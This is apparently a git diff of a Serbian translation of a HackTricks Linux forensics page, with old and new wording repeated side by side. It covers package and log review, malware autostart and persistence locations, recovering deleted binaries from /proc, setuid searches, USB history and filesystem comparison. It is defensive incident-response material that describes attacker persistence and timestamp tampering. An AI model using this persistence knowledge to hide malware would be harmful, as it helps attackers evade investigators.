* Za Debian, pregledajte _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija. * Za Debian, proverite _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
* Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa. * Korisnici RedHat-a mogu upititi RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi prikazali instalirane pakete.
Da biste otkrili softver instaliran ručno ili van ovih upravljača paketima, istražite direktorijume poput _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte listu direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, unapređujući tako pretragu svih instaliranih programa. Da biste otkrili softver instaliran ručno ili van ovih menadžera paketa, istražite direktorijume kao što su _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte liste direktorijuma sa sistemskim komandama specifičnim za identifikaciju izvršnih datoteka koje nisu povezane sa poznatim paketima, poboljšavajući vašu pretragu za svim instaliranim programima.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,22 +205,22 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Obnovite obrisane pokrenute binarne datoteke ## Oporavak obrisanih pokretnih binarnih datoteka
Zamislite proces koji je izvršen iz /tmp/exec a zatim obrisan. Moguće je izvući ga Zamislite proces koji je izvršen iz /tmp/exec i zatim obrisan. Moguće je izvući ga
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
``` ```
## Pregled lokacija automatskog pokretanja ## Inspekcija lokacija za automatsko pokretanje
### Planirani zadaci ### Zakazani zadaci
```bash ```bash
cat /var/spool/cron/crontabs/* \ cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \ /var/spool/cron/atjobs \
@ -233,61 +234,61 @@ cat /var/spool/cron/crontabs/* \
#MacOS #MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
``` ```
### Servisi ### Usluge
Putanje gde se zlonamerni softver može instalirati kao servis: Putanje gde se zlonamerni softver može instalirati kao usluga:
* **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje. * **/etc/inittab**: Poziva skripte inicijalizacije kao što su rc.sysinit, usmeravajući dalje na skripte za pokretanje.
* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se potonje nalazi u starijim verzijama Linuxa. * **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje usluga, pri čemu se potonja nalazi u starijim verzijama Linux-a.
* **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje. * **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
* Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linuxa. * Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od Linux varijante.
* **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa. * **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou. * **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove do usluga koje treba pokrenuti u višekorisničkom režimu.
* **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana. * **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
* **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku. * **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za zlonamerni softver usmeren na korisnike.
* **/lib/systemd/system/**: Podrazumevane sistemski fajlovi jedinica koje pružaju instalirani paketi. * **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
### Kernel Moduli ### Kernel Moduli
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i fajlovi od suštinskog značaja za ove module uključuju: Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
* **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela. * **/lib/modules/$(uname -r)**: Sadrži module za verziju kernel-a koja se trenutno koristi.
* **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula. * **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
* **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula. * **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalne postavke modula.
### Ostale Lokacije za Automatsko Pokretanje ### Druge Lokacije za Automatsko Pokretanje
Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver: Linux koristi razne datoteke za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući zlonamerni softver:
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika. * **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koju prijavu korisnika.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
* **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju. * **/etc/rc.local**: Izvršava se nakon što su sve sistemske usluge pokrenute, označavajući kraj prelaska na višekorisničko okruženje.
## Pregledajte Logove ## Istraži Logove
Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju: Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log datoteke. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih bezbednosnih incidenata. Ključne log datoteke uključuju:
* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti na nivou sistema. * **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti širom sistema.
* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave. * **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja. * Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih događaja autentifikacije.
* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema. * **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje servisa povezanih sa email-om. * **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga povezanih sa email-om.
* **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja. * **/var/log/kern.log**: Čuva poruke kernela, uključujući greške i upozorenja.
* **/var/log/dmesg**: Drži poruke drajvera uređaja. * **/var/log/dmesg**: Sadrži poruke drajvera uređaja.
* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih incidenata. * **/var/log/faillog**: Beleži neuspešne pokušaje prijave, pomažući u istragama bezbednosnih proboja.
* **/var/log/cron**: Beleži izvršavanja cron poslova. * **/var/log/cron**: Beleži izvršenja cron poslova.
* **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa. * **/var/log/daemon.log**: Prati aktivnosti pozadinskih usluga.
* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave. * **/var/log/btmp**: Dokumentuje neuspešne pokušaje prijave.
* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove. * **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka. * **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
* **/var/log/xferlog**: Zabeležava FTP prenose fajlova. * **/var/log/xferlog**: Beleži FTP transfer fajlova.
* **/var/log/**: Uvek proverite ovde za neočekivane logove. * **/var/log/**: Uvek proverite neočekivane logove ovde.
{% hint style="info" %} {% hint style="info" %}
Linux sistemi logove i podsisteme za reviziju mogu biti isključeni ili obrisani u slučaju upada ili zlonamernog softvera. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili nepravilne unose koji bi mogli biti indikacija brisanja ili manipulacije. Linux sistemski logovi i audit pod sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa zlonamernim softverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
{% endhint %} {% endhint %}
**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u: **Linux održava istoriju komandi za svakog korisnika**, smeštenu u:
* \~/.bash\_history * \~/.bash\_history
* \~/.zsh\_history * \~/.zsh\_history
@ -295,32 +296,32 @@ Linux sistemi logove i podsisteme za reviziju mogu biti isključeni ili obrisani
* \~/.python\_history * \~/.python\_history
* \~/.\*\_history * \~/.\*\_history
Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave. Pored toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
Proverite fajlove koji mogu dati dodatne privilegije: Proverite datoteke koje mogu dodeliti dodatne privilegije:
* Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene. * Pregledajte `/etc/sudoers` za neočekivane privilegije korisnika koje su možda dodeljene.
* Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene. * Pregledajte `/etc/sudoers.d/` za neočekivane privilegije korisnika koje su možda dodeljene.
* Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. * Istražite `/etc/groups` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
* Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. * Istražite `/etc/passwd` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
Neki programi takođe generišu svoje logove: Neke aplikacije takođe generišu svoje logove:
* **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije. * **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene veze.
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane fajlove putem Gnome aplikacija. * **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
* **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti. * **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage. * **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su putanje pristupnih datoteka i istorija pretrage.
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove. * **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni. * **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za transfer fajlova koji bi mogli biti neovlašćeni.
* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka. * **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, potencijalno otkrivajući neovlašćene aktivnosti u bazi podataka.
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande. * **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
* **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima. * **Git**: Istražite _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
### USB Logovi ### USB Logovi
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja. [**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije USB događaja.
Važno je **znati sve USB uređaje koji su korišćeni** i biće korisno ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi). Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
### Instalacija ### Instalacija
```bash ```bash
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) Više primera i informacija unutar github-a: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** podržane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja ## Pregled korisničkih naloga i aktivnosti prijavljivanja
Ispitajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neobična imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade na sudo.\ Istražite _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne logove** za neobične nazive ili naloge koji su kreirani i ili korišćeni u bliskoj blizini poznatih neovlašćenih događaja. Takođe, proverite moguće sudo brute-force napade.\
Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\ Pored toga, proverite datoteke kao što su _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije dodeljene korisnicima.\
Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa. Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama.
## Ispitivanje Fajl Sistema ## Istraživanje datotečnog sistema
### Analiza Struktura Fajl Sistema u Istraživanju Malvera ### Analiza struktura datotečnog sistema u istraživanju malvera
Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput menjanja vremena datoteka ili izbegavanja fajl sistema za skladištenje podataka. Kada istražujete incidente sa malverom, struktura datotečnog sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka datoteka ili izbegavanje datotečnog sistema za skladištenje podataka.
Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je: Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji. * **Sprovesti temeljnu analizu vremenske linije** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskim linijama.
* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača. * **Istražiti neočekivane skripte** u sistemskom $PATH, koje mogu uključivati shell ili PHP skripte koje koriste napadači.
* **Ispitati `/dev` za atipične fajlove**, pošto tradicionalno sadrži specijalne fajlove, ali može sadržati fajlove povezane sa malverom. * **Istražiti `/dev` za atipične datoteke**, jer tradicionalno sadrži specijalne datoteke, ali može sadržati i datoteke povezane sa malverom.
* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj. * **Pretražiti skrivene datoteke ili direktorijume** sa nazivima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje bi mogle skrivati zlonamerni sadržaj.
* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti. * **Identifikovati setuid root datoteke** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim privilegijama, koje bi napadači mogli zloupotrebiti.
* **Pregledati vremena brisanja** u inode tabelama kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanaca. * **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja datoteka, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
* **Ispitati uzastopne inode** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno. * **Istražiti uzastopne inode** za obližnje zlonamerne datoteke nakon identifikacije jedne, jer su možda postavljene zajedno.
* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi fajlovi mogli biti promenjeni od strane malvera. * **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane datoteke, jer bi ove mogle biti izmenjene od strane malvera.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -375,16 +376,16 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može da izmeni **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**. Napomena da **napadač** može **modifikovati** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može **modifikovati** **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i modifikovana u **isto vreme** kao i ostale datoteke u istoj fascikli, ali je **inode** **neočekivano veći**, tada su **vremenske oznake te datoteke modifikovane**.
{% endhint %} {% endhint %}
## Uporedite datoteke različitih verzija fajl sistema ## Upoređivanje datoteka različitih verzija datotečnog sistema
### Sažetak Uporedbe Verzija Fajl Sistema ### Sažetak upoređivanja verzija datotečnog sistema
Za upoređivanje verzija fajl sistema i precizno lociranje promena, koristimo pojednostavljene `git diff` komande: Da bismo uporedili verzije datotečnog sistema i precizirali promene, koristimo pojednostavljene `git diff` komande:
* **Da biste pronašli nove datoteke**, uporedite dva direktorijuma: * **Da bismo pronašli nove datoteke**, uporedite dve fascikle:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
@ -392,46 +393,46 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
* **Za otkrivanje izbrisanih fajlova**: * **Da otkrijete obrisane fajlove**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **Opcije filtera** (`--diff-filter`) pomažu u sužavanju na specifične promene poput dodatih (`A`), izbrisanih (`D`) ili izmenjenih (`M`) fajlova. * **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene kao što su dodati (`A`), obrisani (`D`) ili izmenjeni (`M`) fajlovi.
* `A`: Dodati fajlovi * `A`: Dodati fajlovi
* `C`: Kopirani fajlovi * `C`: Kopirani fajlovi
* `D`: Izbrisani fajlovi * `D`: Obrisani fajlovi
* `M`: Izmenjeni fajlovi * `M`: Izmenjeni fajlovi
* `R`: Preimenovani fajlovi * `R`: Preimenovani fajlovi
* `T`: Promene tipa (npr. fajl u simboličku vezu) * `T`: Promene tipa (npr., fajl u symlink)
* `U`: Nespajani fajlovi * `U`: Neusaglašeni fajlovi
* `X`: Nepoznati fajlovi * `X`: Nepoznati fajlovi
* `B`: Oštećeni fajlovi * `B`: Pokvareni fajlovi
## Reference ## Reference
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Knjiga: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **Knjiga: Vodič za forenziku malvera za Linux sisteme: Vodiči za digitalnu forenziku**
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Naučite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud). **Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Dobijte pristup danas: Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,156 +1,158 @@
# Particije/Sistemi datoteka/Izdvajanje # Partitions/File Systems/Carving
{% hint style="success" %}
